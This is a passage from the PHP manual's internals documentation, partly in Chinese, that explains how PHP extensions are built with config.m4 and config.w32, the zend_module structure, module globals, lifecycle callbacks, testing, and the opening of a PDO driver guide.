    EXAMPLE_LIBS=`$EXAMPLE_PATH --libs`

    dnl 检测扩展库是否工作正常
    PHP_CHECK_LIBRARY($EXAMPLE_LIB_NAME, example_critical_function,
    [
      dnl 添加所需的 include 目录
      PHP_EVAL_INCLINE($EXAMPLE_INCDIRS)
      dnl 添加所需的扩展库及扩展库所在目录
      PHP_EVAL_LIBLINE($EXAMPLE_LIBS, EXAMPLE_SHARED_LIBADD)
    ],[
      dnl 跳出
      AC_MSG_ERROR([example library not found. Check config.log for more information.])
    ],[$EXAMPLE_LIBS]
    )
  else
    dnl 没有可用的 example-config，跳出
    AC_MSG_RESULT([not found])
    AC_MSG_ERROR([Please check your example installation.])
  fi

  dnl 检测是否启用调试
  if test "$PHP_EXAMPLE_DEBUG" != "no"; then
    dnl 是，则设置 C 语言宏指令
    AC_DEFINE(USE_EXAMPLE_DEBUG,1,[Include debugging support in example])
  fi

  dnl 检测额外的支持
  if test "$PHP_EXAMPLE_EXTRA" != "no"; then
    if test "$PHP_EXAMPLE_EXTRA" == "yes"; then
      AC_MSG_ERROR([You must specify a path when using --with-example-extra])
    fi

    PHP_CHECK_LIBRARY(example-extra, example_critical_extra_function,
    [
      dnl 添加所需路径
      PHP_ADD_INCLUDE($PHP_EXAMPLE_EXTRA/include)
      PHP_ADD_LIBRARY_WITH_PATH(example-extra, $PHP_EXAMPLE_EXTRA/lib, EXAMPLE_SHARED_LIBADD)
      AC_DEFINE(HAVE_EXAMPLEEXTRALIB,1,[Whether example-extra support is present and requested])
      EXAMPLE_SOURCES="$EXAMPLE_SOURCES example_extra.c"
    ],[
      AC_MSG_ERROR([example-extra lib not found. See config.log for more information.])
    ],[-L$PHP_EXAMPLE_EXTRA/lib]
    )
  fi

  dnl 最后，将扩展及其所需文件等信息传给构建系统
  PHP_NEW_EXTENSION(example, example.c $EXAMPLE_SOURCES, $ext_shared)
  PHP_SUBST(EXAMPLE_SHARED_LIBADD)
fi

autoconf 语法简介

config.m4 文件使用 GNU autoconf 语法编写。简而言之，就是用强大的宏语言增强的 shell 脚本。注释用字符串 dnl 分隔，字符串则放在左右方括号中间（例如，[ 和 ]）。字符串可按需要多次嵌套引用。完整的语法参考可参见位于 » http://www.gnu.org/software/autoconf/manual/ 的 autoconf 手册。

PHP_ARG_*: 赋予用户可选项

在以上的 config.m4 例子中，两条注释后，最先见到的 3 行代码，使用了 PHP_ARG_WITH() 和 PHP_ARG_ENABLE()。这些给 configure 提供了可选项，和在运行 ./configure --help 时显示的帮助文本。就象名称所暗示的，其两者的不同点在于是创建 --with-* 选项还是 --enable-* 选项。每个扩展应提供至少一个以上的选项以及扩展名称，以便用户可选择是否将扩展构建至 PHP 中。按惯例，PHP_ARG_WITH() 用于取得参数的选项，例如扩展所需库或程序的位置；而 PHP_ARG_ENABLE() 用于代表简单标志的选项。

Example #2 configure 输出举例

$ ./configure --help
...
  --with-example[=FILE]       Include example support. FILE is the optional path to example-config
  --enable-example-debug        example: Enable debugging support in example
  --with-example-extra=DIR      example: Location of extra libraries for example
...

$ ./configure --with-example=/some/library/path/example-config --disable-example-debug --with-example-extra=/another/library/path
...
checking for example support... yes
checking whether to enable debugging support in example... no
checking for extra libraries for example... /another/library/path
...

Note:

在调用 configure 时，不管选项在命令行中的顺序如何，都会按在 config.m4 中指定的顺序进行检测。

处理用户选择

config.m4 可给用户提供一些做什么的选择，现在就是做出选择的时候了。在上例中，三个选项在未指定时显然默认为 "no"。习惯上，最好用此值作为用于启用扩展的选项的默认值，为了扩展与 PHP 分开构建则用 phpize 覆盖此值，而要构建在 PHP 中时则不应被默认值将扩展空间弄乱。处理这三个选项的代码要复杂得多。

处理 --with-example[=FILE] 选项

首先检测是否设置了 --with-example[=FILE] 选项。如此选项未被指定，或使用否定的格式（--without-example ），或赋值为 "no" 时，它会控制整个扩展的含有物其他任何事情都不会发生。在上面的例子中所指定的值为 /some/library/path/example-config，所以第一个 test 成功了。

接下来，代码调用 AC_MSG_CHECKING()，这是一个 autoconf 宏，输出一行标准的如 "checking for ..." 的信息，并检测用户假定的 example-config 是否是一个明确的路径。在这个例子中，PHP_EXAMPLE 所取到的值为 /some/library/path/example-config，现已复制到 EXAMPLE_PATH 变量中了。只有用户指定了 --with-example ，才会执行代码 $php_shtool path $EXAMPLE_CONFIG，尝试使用用户当前的 PATH 环境变量推测 example-config 的位置。无论如何，下一步都是检测所选的 EXAMPLE_PATH 是否是正常文件，是否可执行，及是否执行成功。如成功，则调用 AC_MSG_RESULT()，结束由 AC_MSG_CHECKING() 开始的输出行。否则，调用 AC_MSG_ERROR()，打印所给的信息并立即中断执行 configure。

代码现在执行几次 example-config 以确定一些站点特定的配置信息。下一步调用的是 PHP_CHECK_LIBRARY()，这是 PHP 构建系统提供的一个宏，包装了 autoconf 的 AC_CHECK_LIB() 函数。PHP_CHECK_LIBRARY() 尝试编译、链接和执行程序，在第一个参数指定的库中调用由第二个参数指定的符号，使用第五个参数给出的字符串作为额外的链接选项。如果尝试成功了，则运行第三个参数所给出的脚本。此脚本从 example-config 所提供的原始的选项字符串中取出头文件路径、库文件路径和库名称，告诉 PHP 构建系统。如果尝试失败，脚本则运行第四个参数中的脚本。此时调用 AC_MSG_ERROR() 来中断程序执行。

处理 --enable-example-debug 选项

处理 --enable-example-debug 很简单。只简单地检测其真实值。如果检测成功，则调用 AC_DEFINE() 使 C 语言宏指令 USE_EXAMPLE_DEBUG 可用于扩展的源代码。第三个参数是给 config.h 的注释字符串，通常可放心的留空。

处理 --with-example-extra=DIR 选项

对于此例子来说，由 --with-example-extra=DIR 选项所请求的假定的"额外"功能操作不会与假定的 example-config 程序共享，也没有默认的搜索路径。因此，用户需要在所需的库之前提供设置程序。有点不象现实中的扩展，在这里的设置仅仅起说明性的作用。

代码开始用已熟知的方式来检测 PHP_EXAMPLE_EXTRA
的真实值。如果所提供的为否定形式，则不会进行其他处理，用户也不会请求额外的功能。如果所提供的为未提供参数的肯定形式，则调用
AC_MSG_ERROR() 中止处理。下一步则再次调用
PHP_CHECK_LIBRARY()。这一次，因为没有提供预定义编译选项，PHP_ADD_INCLUDE()
和 PHP_ADD_LIBRARY_WITH_PATH() 用于构建额外功能所需的头文件路径、库文件路径和库标志。也调用
AC_DEFINE()
来指示所请求的额外功能代码是可用的，设置变量来告诉以后的代码，有额外的源代码要构建。如果检测失败，则调用所熟悉的
AC_MSG_ERROR()。另一种不同的处理失败的方式是更换为调用
AC_MSG_WARNING()，例如：

AC_MSG_WARNING([example-extra lib not found. example will be built without extra functionality.])

上例中，configure 会打印一段警告信息而不是错误，且继续处理。用哪种方式处理失败留给扩展开发人员在设计时决定。

告诉构建系统要做什么

有了所需的头文件和特定的库，有了全部选项处理代码及宏定义，还有一件事要做：必须告诉构建系统去构建扩展本身和被其用到的文件。为了做这些，则要调用 PHP_NEW_EXTENSION() 宏。第一个参数是扩展的名称，和包含它的目录同名。第二个参数是做为扩展的一部分的所有源文件的列表。参见 PHP_ADD_BUILD_DIR() 以获取将在子目录中源文件添加到构建过程的相关信息。第三个参数总是 $ext_shared， 当为了 --with-example[=FILE] 而调用 PHP_ARG_WITH()时，由 configure 决定参数的值。第四个参数指定一个"SAPI 类"，仅用于专门需要 CGI 或 CLI SAPI 的扩展。其他情况下应留空。第五个参数指定了构建时要加入 CFLAGS 的标志列表。第六个参数是一个布尔值，为 "yes" 时会强迫整个扩展使用 $CXX 代替 $CC 来构建。第三个以后的所有参数都是可选的。最后，调用 PHP_SUBST() 来启用扩展的共享构建。参见 扩展相关 FAQ 以获取更多有关禁用共享方式下构建扩展的信息。

counter 扩展的 config.m4 文件

以前编写的 counter 扩展有一个比上面所述更简单的 config.m4 文件，它不使用很多构建系统的特性。对不使用外部的或绑定的库的扩展来说，这是一个比较好的操作方式。

Example #3 counter 的 config.m4 文件

dnl
$
Id$
dnl config.m4 for extension counter

PHP_ARG_ENABLE(counter, for counter support,
[  --enable-counter            Include counter support])

dnl Check whether the extension is enabled at all
if test "$PHP_COUNTER" != "no"; then
  dnl Finally, tell the build system about the extension and what files are needed
  PHP_NEW_EXTENSION(counter, counter.c counter_util.c, $ext_shared)
  PHP_SUBST(COUNTER_SHARED_LIBADD)
fi

User Contributed Notes

There are no user contributed notes for this page.


使用 Windows 构建系统：config.w32

扩展的 config.w32 文件的用法与 config.m4 文件类似，但有两点决定性的不同：首先，它是用于 Windows 构建的，其次，它是使用 JavaScript 编写的。此章节不会包括 JavaScript 语法。目前，代替 Win32 试验台的这部分是不完整的，仅为例子提供的范例 config.m4 的仅试验性质的移植。

Example #1 config.w32 文件举例

// $Id$
// vim:ft=javascript
ARG_WITH("example", "for example support", "no");
ARG_ENABLE("example-debug", "for debugging support in example", "no")
ARG_WITH("example-extra", "for extra functionality in example", "no")
if (PHP_EXAMPLE != "no") {
    if (CHECK_LIB("libexample.lib", "example", PHP_EXAMPLE) &&
        CHECK_HEADER_ADD_INCLUDE("example.h", "CFLAGS_EXAMPLE", PHP_EXAMPLE + "\\include")) {

        if (PHP_EXAMPLE_DEBUG != "no") {
            AC_DEFINE('USE_EXAMPLE_DEBUG', 1, 'Debug support in example');
        }

        if (PHP_EXAMPLE_EXTRA != "no" &&
            CHECK_LIB("libexample-extra.lib", "example", PHP_EXAMPLE) &&
            CHECK_HEADER_ADD_INCLUDE("example-extra.h", "CFLAGS_EXAMPLE", PHP_EXAMPLE + ";" + PHP_PHP_BUILD + "\\include") {
            AC_DEFINE('HAVE_EXAMPLEEXTRA', 1, 'Extra functionality in example');
            HAVE_EXTRA = 1;
        } else {
            WARNING( "extra example functionality not enabled, lib not found" );
        }

        EXTENSION("example", "example.c");
        if (HAVE_EXTRA == 1) {
            ADD_SOURCES("example-extra.c");
        }
    } else {
        WARNING( "example not enabled; libraries not found" );
    }
}

counter 扩展的 config.w32 文件

因为不使用很多构建系统的特性，以前所记载的 counter 扩展有一个比上面所描述的例子更简单的 config.w32 文件。

Example #2 counter's config.w32 file

// $Id$
// vim:ft=javascript
ARG_ENABLE("counter", "for counter support", "no");
if (PHP_COUNTER != "no") {
    EXTENSION("counter", "counter.c");
    ADD_SOURCE("counter-util.c");
}

User Contributed Notes

There are no user contributed notes for this page.


扩展的结构

Table of Contents

  • 组成扩展的文件
  • Basic constructs
  • The zend_module structure
  • Extension globals
  • Life cycle of an extension
  • Testing an extension

许多扩展编写指南首先以简单的实例为中心而忽视以后更复杂的实现需求。这类指南经常再三地反复做着同样的事情来描述那些新特性。 此节从一个成熟、实际的实现的视角描述扩展的结构，为了使用户对在扩展开发过程中几乎都会遇到需要和问题有准备。

User Contributed Notes

There are no user contributed notes for this page.


组成扩展的文件

不管是通过手工，通过ext_skel ，还是通过另外的扩展生成器，例如 » CodeGen，所有的扩展都会有至少四个文件：

config.m4

UNIX 构建系统配置 (见 与 UNIX 构建系统交互: config.m4)

config.w32

Windows 构建系统配置 (见 使用 Windows 构建系统：config.w32)

php_counter.h

当将扩展作为静态模块构建并放入 PHP 二进制包时，构建系统要求用 php_ 加扩展的名称命名的头文件包含一个对扩展模块结构的指针定义。就象其他头文件，此文件经常包含附加的宏、原型和全局量。

counter.c

主要的扩展源文件。按惯例，此文件名就是扩展的名称，但不是必需的。此文件包含模块结构定义、INI 条目、管理函数、用户空间函数和其它扩展所需的内容。

构建系统的文件在别处讨论，本节关注于其余的部分。扩展应包含任意数量的头文件、源文件、单元测试和其他支持文件，此四个文件仅够组成最小的扩展。counter 扩展的文件列表如下所示：

Example #1 counter 扩展中的文件，未特别排序

ext/
 counter/
  .cvsignore
  config.m4
  config.w32
  counter_util.h
  counter_util.c
  php_counter.h
  counter.c
  package.xml
  CREDITS
  tests/
   critical_function_001.phpt
   critical_function_002.phpt
   optional_function_001.phpt
   optional_function_002.phpt

非源文件

.cvsignore 文件用于已检入一个 PHP CVS 资源库（通常是 » PECL）的扩展，由 ext_skel 生成的这个文件内容如下：

.deps
*.lo
*.la

这几行告诉 CVS 要忽略由 PHP 构建系统生成的临时文件。这只是惯例，可以被完全省略掉且无不良影响。

CREDITS 文件用纯文本格式列出了扩展的贡献者和（或 ）维护者。此文件的主要用途是为已捆绑的扩展生成被 phpcredits() 所使用的荣誉信息。按惯例，文件的第一行应保存扩展的名称，第二行是用逗号分隔的贡献者名单。贡献者通常是按其贡献物的时间顺序排序。例如，在 » PECL 包中，此信息已经维护在 package.xml 中了。这就是可以被省略且无不良影响的其他文件。

package.xml 文件是基于 » PECL 的扩展特有的，是一个元信息文件，记录了扩展的信赖关系、作者、安装需求和其他有价值的信息。对于不是基于 » PECL 的扩展来说，此文件就无关紧要了。

User Contributed Notes

There are no user contributed notes for this page.


Basic constructs

C is a very low-level language by modern definitions. This means that it has no built-in support for many features that PHP takes for granted, such as reflection, dynamic module loading, bounds checking, threadsafe data management and various useful data structures including linked lists and hash tables. At the same time, C is a common denominator of language support and functionality. Given enough work, none of these concepts are impossible; the Zend Engine uses them all.

A lot of effort has gone into making the Zend API both extensible and understandable, but C forces certain necessary declarations upon any extension that to an inexperienced eye seem redundant or plain unnecessary. All of those constructs, detailed in this section, are "write once and forget" in Zend Engine 2 and 3. Here are some excerpts from the pre-generated php_counter.h and counter.c files created by PHP 5.3's ext_skel, showing the pre-generated declarations:

Note: The astute reader will notice that there are several declarations in the real files that aren't shown here. Those declarations are specific to various Zend subsystems and are discussed elsewhere as appropriate.

extern zend_module_entry counter_module_entry;
#define phpext_counter_ptr &counter_module_entry

#ifdef PHP_WIN32
#    define PHP_COUNTER_API __declspec(dllexport)
#elif defined(__GNUC__) && __GNUC__ >= 4
#    define PHP_COUNTER_API __attribute__ ((visibility("default")))
#else
#    define PHP_COUNTER_API
#endif

#ifdef ZTS
#include "TSRM.h"
#endif

#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

#include "php.h"
#include "php_ini.h"
#include "ext/standard/info.h"
#include "php_counter.h"

/* ... */

#ifdef COMPILE_DL_COUNTER
ZEND_GET_MODULE(counter)
#endif
  • The lines concerning counter_module_entry declare a global variable, and a macroed pointer to it, which contains the zend_module_entry for the extension. Despite the later discussion regarding the drawbacks of "true" globals, this usage is intentional; Zend takes precautions to avoid misusing this variable.
  • PHP_COUNTER_API is declared for use by non-PHP functions the module intends to export for the use of other modules. The counter extension doesn't declare any of these, and in the final version of the header file, this macro has been removed. The PHPAPI macro is declared identically elsewhere and is used by the standard extension to make the phpinfo() utility functions available to other extensions.
  • The include of TSRM.h is skipped if PHP, or the extension, isn't being compiled with thread-safety, since in that case TSRM isn't used.
  • A standard list of includes, especially the extension's own php_counter.h, is given. config.h gives the extension access to determinations made by configure. php.h is the gateway to the entire PHP and Zend APIs. php_ini.h adds the APIs for runtime configuration (INI) entries. Not all extensions will use this. Finally, ext/standard/info.h imports the aforementioned phpinfo() utility API.
  • COMPILE_DL_COUNTER will only be defined by configure if the counter extension is both enabled and wants to be built as a dynamically loadable module instead of being statically linked into PHP. ZEND_GET_MODULE defines a tiny function which Zend can use to get the extension's zend_module_entry at runtime.

    Note: The astute reader who has peeked into main/php_config.h after trying to build with the counter module enabled statically may have noticed that there is also a HAVE_COUNTER constant defined that the source code doesn't check for. There's a simple reason this check isn't done: It's unnecessary. If the extension isn't enabled, the source file will never be compiled.

User Contributed Notes

enclaved 12-Aug-2017 03:22
The guy who commented on being unable to use C++ for writing extensions is utterly wrong. You easily can. And you can also use Fortran, naturally, which is an invaluable asset in developing advanced extensions. You just need to know how ;-) Hint: RTFM on ABI, calling conventions, and features of your favorite link editor. And remember: you ALWAYS can call object code produced by compilers of other languages from C, ABI bridging is trivial, and in many cases simplified by the toolchain itself.
Sam at SimpleSamples dot info 11-Sep-2016 05:12
Comparing C to PHP is unfair since C++ has so much more than C. You can say that you would have much more if C++ could be used but since it is not you must use what C offers. I am not criticizing PHP but it seems inappropriate to make PHP appear to be better than another language in a misleading way.

Go ahead and delete this if you want to but I hope the documentation is revised appropriately.


The zend_module structure

The main source file of a PHP extension contains several new constructs for a C programmer. The most important of these, the one touched first when starting a new extension, is the zend_module structure. This structure contains a wealth of information that tells the Zend Engine about the extension's dependencies, version, callbacks, and other critical data. The structure has mutated considerably over time; this section will focus on the structure as it has appeared since PHP 5.2, and will identify the very few parts which have changed in PHP 5.3.

The zend_module declaration from counter.c looks like this before any code has been written. The example file was generated by ext_skel --extname=counter, with some obsolete constructs removed:

Example #1 zend_module declaration in the counter extension

/* {{{ counter_module_entry
 */
zend_module_entry counter_module_entry = {
    STANDARD_MODULE_HEADER,
    "counter",
    counter_functions,
    PHP_MINIT(counter),
    PHP_MSHUTDOWN(counter),
    PHP_RINIT(counter),        /* Replace with NULL if there's nothing to do at request start */
    PHP_RSHUTDOWN(counter),    /* Replace with NULL if there's nothing to do at request end */
    PHP_MINFO(counter),
    "0.1", /* Replace with version number for your extension */
    STANDARD_MODULE_PROPERTIES
};
/* }}} */

This may look a bit daunting at first glance, but most of it is very simple to understand. Here's the declaration of zend_module from zend_modules.h in PHP 5.3:

Example #2 zend_module definition in PHP 5.3

struct _zend_module_entry {
    unsigned short size;
    unsigned int zend_api;
    unsigned char zend_debug;
    unsigned char zts;
    const struct _zend_ini_entry *ini_entry;
    const struct _zend_module_dep *deps;
    const char *name;
    const struct _zend_function_entry *functions;
    int (*module_startup_func)(INIT_FUNC_ARGS);
    int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
    int (*request_startup_func)(INIT_FUNC_ARGS);
    int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
    void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);
    const char *version;
    size_t globals_size;
#ifdef ZTS
    ts_rsrc_id* globals_id_ptr;
#else
    void* globals_ptr;
#endif
    void (*globals_ctor)(void *global TSRMLS_DC);
    void (*globals_dtor)(void *global TSRMLS_DC);
    int (*post_deactivate_func)(void);
    int module_started;
    unsigned char type;
    void *handle;
    int module_number;
};

Many of these fields will never be touched by an extension writer. There are a number of standard macros that set them to their proper values automatically. The macro STANDARD_MODULE_HEADER fills in everything up to the deps field. Alternatively, the STANDARD_MODULE_HEADER_EX will leave the deps field empty for the developer's use. The developer is always responsible for everything from name to version. After that, the STANDARD_MODULE_PROPERTIES macro will fill in the rest of the structure, or the STANDARD_MODULE_PROPERTIES_EX macro can be used to leave the extension globals and post-deactivation function fields unfilled. Most modern extensions will make use of module globals.

Note:

This table gives the values that each field would have if the developer were to fill in the structure entirely by hand, without recourse to any of the shortcut macros. This is not recommended. The "correct" values for many fields may change. Use the macros whenever possible.

Module structure field values
Field | Value | Description
size [1] [2] [3] | sizeof(zend_module_entry) | The size in bytes of the structure.
zend_api [1] [2] [3] | ZEND_MODULE_API_NO | The version of the Zend API this module was compiled against.
zend_debug [1] [2] [3] | ZEND_DEBUG | A flag indicating whether the module was compiled with debugging turned on.
zts [1] [2] [3] | USING_ZTS | A flag indicating whether the module was compiled with ZTS (TSRM) enabled (see 内存管理).
ini_entry [1] [3] | NULL | This pointer is used internally by Zend to keep a non-local reference to any INI entries declared for the module.
deps [3] | NULL | A pointer to a list of dependencies for the module.
name | "mymodule" | The name of the module. This is the short name, such as "spl" or "standard".
functions | mymodule_functions | A pointer to the module's function table, which Zend uses to expose functions in the module to user space.
module_startup_func | PHP_MINIT(mymodule) | A callback function that Zend will call the first time a module is loaded into a particular instance of PHP.
module_shutdown_func | PHP_MSHUTDOWN(mymodule) | A callback function that Zend will call the when a module is unloaded from a particular instance of PHP, typically during final shutdown.
request_startup_func | PHP_RINIT(mymodule) | A callback function that Zend will call at the beginning of each request. This should be as short as possible or NULL as calling this has costs on every request.
request_shutdown_func | PHP_RSHUTDOWN(mymodule) | A callback function that Zend will call at the end of each request. This should be as short as possible or NULL as calling this has costs on every request.
info_func | PHP_MINFO(mymodule) | A callback function that Zend will call when the phpinfo() function is called.
version | NO_VERSION_YET | A string giving the version of the module, as specified by the module developer. It is recommended that the version number be either in the format expected by version_compare() (e.g. "1.0.5-dev"), or a CVS or SVN revision number (e.g. "$Rev: 322138 $").
globals_size [1] [4] [5] [6] | sizeof(zend_mymodule_globals) | The size of the data structure containing the module's globals, if any.
globals_id_ptr [1] [4] [5] [6] [7] | &mymodule_globals_id | Only one of these two fields will exist, depending upon whether the USING_ZTS constant is TRUE. The former is an index into TSRM's allocation table for the module's globals, and the latter is a pointer directly to the globals.
globals_ptr [1] [4] [5] [6] [8] | &mymodule_globals
globals_ctor [4] [5] [6] | PHP_GINIT(mymodule) | This funtion is called to initialize a module's globals before any module_startup_func.
globals_dtor [4] [5] [6] | PHP_GSHUTDOWN(mymodule) | This funtion is called to deallocate a module's globals after any module_shutdown_func.
post_deactivate_func [4] | ZEND_MODULE_POST_ZEND_DEACTIVATE_N(mymodule) | This function is called by Zend after request shutdown. It is rarely used.
module_started [1] [9] [4] | 0 | These fields are used for Zend's internal tracking information.
type [1] [9] [4] | 0
handle [1] [9] [4] | NULL
module_number [1] [9] [4] | 0
[1] This field is not intended for use by module developers. [2] This field is filled in by STANDARD_MODULE_HEADER_EX. [3] This field is filled in by STANDARD_MODULE_HEADER. [4] This field is filled in by STANDARD_MODULE_PROPERTIES. [5] This field is filled in by NO_MODULE_GLOBALS. [6] This field is filled in by PHP_MODULE_GLOBALS. [7] This field only exists when USING_ZTS is TRUE. [8] This field only exists when USING_ZTS is FALSE. [9] This field is filled in by STANDARD_MODULE_PROPERTIES_EX.

Filling in the structure in a practical situation

With all these fields to play with, it can be confusing to know which to use for what purpose. Here is the zend_module definition from the "counter" example extension after updating it to its final form.

Example #3 Counter extension module definition

/* {{{ counter_module_entry
 */
zend_module_entry counter_module_entry = {
    STANDARD_MODULE_HEADER,
    "counter",
    counter_functions,
    PHP_MINIT(counter),
    PHP_MSHUTDOWN(counter),
    PHP_RINIT(counter),
    PHP_RSHUTDOWN(counter),
    PHP_MINFO(counter),
    NO_VERSION_YET,
    PHP_MODULE_GLOBALS(counter),
    PHP_GINIT(counter),
    PHP_GSHUTDOWN(counter),
    NULL,
    STANDARD_MODULE_PROPERTIES_EX
};
/* }}} */
  • STANDARD_MODULE_HEADER is used since this module doesn't define any dependencies.
  • "counter" is the extension's name, and is used to define the various callback functions the module passes to Zend. "counter" uses module, globals, and request functions at startup and shutdown times, and provides information to phpinfo(), so all seven callbacks are defined.
  • It is assumed that there is a variable of type zend_function_entry * named counter_functions earlier in the file that contains the module definition, listing the functions the module exports to userspace.
  • NO_VERSION_YET is a particularly nice way of telling Zend the module doesn't have a version. It might have been more correct to place "1.0" here instead in a real module.
  • "counter" uses per-module globals, so PHP_MODULE_GLOBALS is used
  • This module has no post-deactivate function, so NULL is used.
  • Since this module does use globals, STANDARD_MODULE_PROPERTIES_EX is used to finish the structure.

What's changed between 5.2 and 5.3?

Nothing. The only differences in the zend_module structure between PHP 5.2 and PHP 5.3 are a few const keywords.

User Contributed Notes

There are no user contributed notes for this page.


Extension globals

Introduction to globals in a PHP extension

In a language such as C, a "global" variable is a variable that can be accessed from any function without any extra declaration. These traditional globals have a few drawbacks:

  • Barring any special options passed to the compiler, a global variable can be accessed and changed by any piece of code anywhere in the program, whether or not that code should be doing so.
  • A typical global variable is not thread safe.
  • The names of global variables are as global as the variables themselves.

A PHP extension's globals are more properly called the "extension state", since most modules must remember what they're doing between function calls. The "counter" extension is a perfect example of this need: The basic interface calls for a counter with a persistent value. A programmer new to Zend and PHP might do something like this in counter.c to store that value:

Example #1 The wrong way to store the basic counter interface's value

/* ... */
static long basic_counter_value;

/* ... */

PHP_FUNCTION(counter_get)
{
    RETURN_LONG(basic_counter_value);
}

On the surface this appears a viable solution, and indeed in a simple test it would function correctly. However, there are a number of situations in which more than one copy of PHP is running in the same thread, which means more than one instance of the counter module. Suddenly these multiple threads are sharing the same counter value, which is clearly undesirable. Another problem shows itself when considering that another extension might someday happen to have a global with the same name, and due to the rules of C scoping, this has the potential to cause a compile failure, or worse, a runtime error. Something more elaborate is needed, and so exists Zend's support for thread-safe per-module globals.

Declaring module globals

Whether a module uses only a single global or dozens, they must be defined in a structure, and that structure must be declared. There are some macros that assist with doing so in a way that avoids name conflicts between modules: ZEND_BEGIN_MODULE_GLOBALS(), ZEND_END_MODULE_GLOBALS(), and ZEND_DECLARE_MODULE_GLOBALS(). All three take as a parameter the short name of the module, which in the case of the counter module is simply "counter". Here is the global structure declaration from php_counter.h:

Example #2 The counter module's globals

ZEND_BEGIN_MODULE_GLOBALS(counter)
    long        basic_counter_value;
ZEND_END_MODULE_GLOBALS(counter)

And this is the declaration from counter.c:

Example #3 The counter module's global structure declaration

ZEND_DECLARE_MODULE_GLOBALS(counter)

Accessing module globals

As discussed above, per-module globals are declared inside a C structure whose name is obscured by Zend macros. As a result, the ideal way to access members of this structure is by the use of further macros. Accordingly, most if not all extensions which have globals have a declaration like this somewhere in their header file:

Example #4 Accessor macros for per-module globals

#ifdef ZTS
#define COUNTER_G(v) TSRMG(counter_globals_id, zend_counter_globals *, v)
#else
#define COUNTER_G(v) (counter_globals.v)
#endif

Note: This could have been generalized into a macro of its own by the Zend API, but as of PHP 5.3 (and PHP 6 at the time of this writing), that hasn't happened. The global accessor construct is written into the header by ext_skel and thus is generally left alone by extension writers, unless they wish to change the name of the accessor macro.

Note: COUNTER_G was the name given to the macro by ext_skel, but it's not necessary for it to have that name and could just as easily be called FOO instead.

Any code in the counter extension that accesses a global must thus wrap it in the macro COUNTER_G.

Warning

Any function which accesses globals must either be declared by Zend macros, have TSRMLS_DC as its last argument, or call the macro TSRMLS_FETCH before accessing the globals. See the TSRM documentation for more information.

So with all of that in mind, here is our new version of the counter_get():

Example #5 The right way to store the basic counter interface's value

/* php_counter.h */
ZEND_BEGIN_MODULE_GLOBALS(counter)
    long        basic_counter_value;
ZEND_END_MODULE_GLOBALS(counter)

#ifdef ZTS
#define COUNTER_G(v) TSRMG(counter_globals_id, zend_counter_globals *, v)
#else
#define COUNTER_G(v) (counter_globals.v)
#endif

/* counter.c */
ZEND_DECLARE_MODULE_GLOBALS(counter)

/* ... */

PHP_FUNCTION(counter_get)
{
    RETURN_LONG(COUNTER_G(basic_counter_value));
}

This is a correct implementation. It is not, however, a complete one. The section Life cycle of an extension explains why.

User Contributed Notes

There are no user contributed notes for this page.


Life cycle of an extension

A PHP extension goes through several phases during its lifetime. All of these phases are opportunities for the developer to perform various initialization, termination, or informational functions. The Zend API allows for hooks into five separate phases of an extension's existence, apart from calls by PHP functions.

Loading, unloading, and requests

As the Zend engine runs, it processes one or more "requests" from its client. In the traditional CGI implementation, this corresponds to one execution of a process. However, many other implementations, most notably the Apache module, can map many requests onto a single PHP process. A PHP extension may thus see many requests in its lifetime.

Overview

  • In the Zend API, a module is loaded into memory only once when the associated PHP process starts up. Each module receives a call to the "module initialization" function specified in its zend_module structure as it is loaded.
  • Whenever the associated PHP process starts to handle a request from its client - i.e. whenever the PHP interpreter is told to start working - each module receives a call to the "request initialization" function specified in its zend_module structure.
  • Whenever the associated PHP process is done handling a request, each module receives a call to the "request termination" function specified in its zend_module structure.
  • A given module is unloaded from memory when its associated PHP process is shut down in an orderly manner. The module receives a call to the "module termination" function specified in its zend_module structure at this time.

What to do, and when to do it

There are many tasks that might be performed at any of these four points. This table details where many common initialization and termination tasks belong.

What to do, and when to do it
Module initialization/termination | Request initialization/termination
Allocate/deallocate and initialize module global variables | Allocate/deallocate and initialize request-specific variables
Register/unregister class entries |
Register/unregister INI entries |
Register constants |

The phpinfo() callback

Aside from globals initialization and certain rarely-used callbacks, there is one more part of a module's lifecycle to examine: A call to phpinfo(). The output a user sees from this call, whether text or HTML or anything else, is generated by each individual extension that is loaded into the PHP interpreter at the time the call is made.

To provide for format-neutral output, the header "ext/standard/info.h" provides an array of functions to produce standardized display elements. Specifically, several functions which create the familiar tables exist:

php_info_print_table_start()
Open a table in phpinfo() output. Takes no parameters.
php_info_print_table_header()
Print a table header in phpinfo() output. Takes one parameter, the number of columns, plus the same number of char * parameters which are the texts for each column heading.
php_info_print_table_row()
Print a table row in phpinfo() output. Takes one parameter, the number of columns, plus the same number of char * parameters which are the texts for each column content.
php_info_print_table_end()
Close a table formerly opened by php_info_print_table_start(). Takes no parameters.

Using these four functions, it is possible to produce status information for nearly any combination of features in an extension. Here is the information callback from the counter extension:

Example #1 counter's PHP_MINFO function

/* {{{ PHP_MINFO(counter) */
PHP_MINFO_FUNCTION(counter)
{
    char        buf[10];

    php_info_print_table_start();
    php_info_print_table_row(2, "counter support", "enabled");
    snprintf(buf, sizeof(buf), "%ld", COUNTER_G(basic_counter_value));
    php_info_print_table_row(2, "Basic counter value", buf);
    php_info_print_table_end();
}
/* }}} */

User Contributed Notes

There are no user contributed notes for this page.


Testing an extension

One of the accepted requirements of good programming is testing. PHP provides a test harness for unit regression tests, in the form of a script called run-tests.php.

Tests for a particular module are stored in the tests/ subdirectory of the module's folder, and have a .phpt extension. For details of the PHPT format, see » https://qa.php.net/.

User Contributed Notes

There are no user contributed notes for this page.


PDO 驱动

Table of Contents

  • 前提条件
  • 配置与管理
  • Fleshing out your skeleton
  • Building
  • Testing
  • Packaging and distribution
  • pdo_dbh_t definition
  • pdo_stmt_t definition
  • Constants
  • Error handling

此How-To目的是让开发者对编写基于PDO层的数据库驱动接口的所需步骤有一个基本的了解。这是一个正在变化的API, 因此可能会和你当前所看到的有所不同。该文档是基于PDO 0.3版本的。学习有一定的难度，建议在前提条件一章花一些时间。

User Contributed Notes

There are no user contributed notes for this page.


前提条件

以下列表是编写一个PDO数据库驱动所需的前提条件:

  1. 运行的目标数据库，实例，演示，等等。都是按照它们各自供应商的详细说明进行工作;

  2. 开发环境:

    1. Linux: 标准开发工具, gcc, ld, make, autoconf, automake, 等等, 版本依赖于发行版;

    2. Other Unix: 由供应商提供标准的开发工具，加上 GNU 开发工具箱;

